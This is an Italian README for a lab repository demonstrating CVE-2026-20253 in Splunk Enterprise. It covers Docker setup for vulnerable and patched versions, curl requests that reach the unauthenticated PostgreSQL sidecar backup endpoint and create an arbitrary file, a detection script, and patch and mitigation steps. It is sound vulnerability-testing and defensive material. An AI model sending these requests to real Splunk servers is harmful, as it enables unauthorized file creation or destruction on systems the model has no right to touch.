
POC per CVE-2026-20253
Creazione e Troncatura Arbitraria di File non Autenticata tramite Sidecar PostgreSQL
CVSS 9.8 · Critico · CWE-306 · Sfruttato attivamente (CISA KEV)
Questo repository è inteso strettamente per scopi educativi e di ricerca sulla sicurezza autorizzati.
Tutti i test devono essere eseguiti su infrastrutture di tua proprietà o per le quali hai esplicita autorizzazione scritta.
Gli autori non si assumono alcuna responsabilità per l'uso improprio delle tecniche o degli strumenti qui dimostrati.
Non eseguire mai questo software su sistemi di produzione o ambienti che non possiedi.
CVE-2026-20253 interessa Splunk Enterprise versioni precedenti a 10.2.4 e 10.0.7.
Il servizio sidecar PostgreSQL incluso in Splunk espone due endpoint HTTP interni:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Entrambi gli endpoint non hanno alcun controllo di autenticazione (CWE-306), il che significa che qualsiasi attaccante raggiungibile in rete può invocarli senza credenziali. Fornendo un parametro backupFile controllato dall'attaccante, un utente non autenticato può creare o troncare file arbitrari sul filesystem host di Splunk — una primitiva che i ricercatori hanno concatenato in una Remote Code Execution (esecuzione di codice remoto) pre-autenticazione completa.
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl disponibiledocker compose -f docker-compose.yml up -d --build
Attendi circa 90 secondi per l'inizializzazione completa di Splunk. Segui i progressi con:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Interfaccia Web Splunk → http://localhost:8000
Credenziali: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Interfaccia Web Splunk → http://localhost:8001
Credenziali: admin / changeme
Entrambi i contenitori possono funzionare affiancati — le porte sono sfalsate per evitare conflitti.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Previsto: 400 — l'endpoint esiste, nessuna autenticazione è stata imposta, la richiesta è stata elaborata.
Verifica che il file sia stato creato all'interno del contenitore:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Previsto: 401 — l'autenticazione ora è imposta, richiesta rifiutata.
| Stato HTTP |
|---|
Il team di watchTowr Labs ha pubblicato uno script di rilevamento che automatizza il controllo sopra indicato:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
Aggiorna immediatamente a una versione corretta:
| Ramo | Versione corretta |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Se non puoi applicare la patch immediatamente, disabilita il sidecar PostgreSQL aggiungendo quanto segue a server.conf e riavvia Splunk:
[postgres]
disabled = true
⚠️ Non disabilitare il sidecar se stai eseguendo Edge Processor o pipeline dati SPL2 — è necessario per quelle funzionalità.
Questo ambiente di laboratorio è fornito esclusivamente per la ricerca sulla sicurezza difensiva e per scopi educativi.
L'accesso non autorizzato ai sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA), del UK Computer Misuse Act e della legislazione equivalente in tutto il mondo.
Utilizza responsabilmente.
| Proprietà | Dettaglio |
|---|
| CVE | CVE-2026-20253 |
| Punteggio CVSS | 9.8 (Critico) |
| CWE | CWE-306 — Mancanza di autenticazione per funzioni critiche |
| Versioni affette | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Patch in | 10.0.7, 10.2.4 |
| CISA KEV | Aggiunto il 18 giugno 2026 |
| Significato |
|---|
400 | Vulnerabile — endpoint colpito, nessun controllo di autenticazione |
401 | Patchato — autenticazione imposta |
404 | Sidecar non presente / percorso errato |
000 | Contenitore non ancora pronto |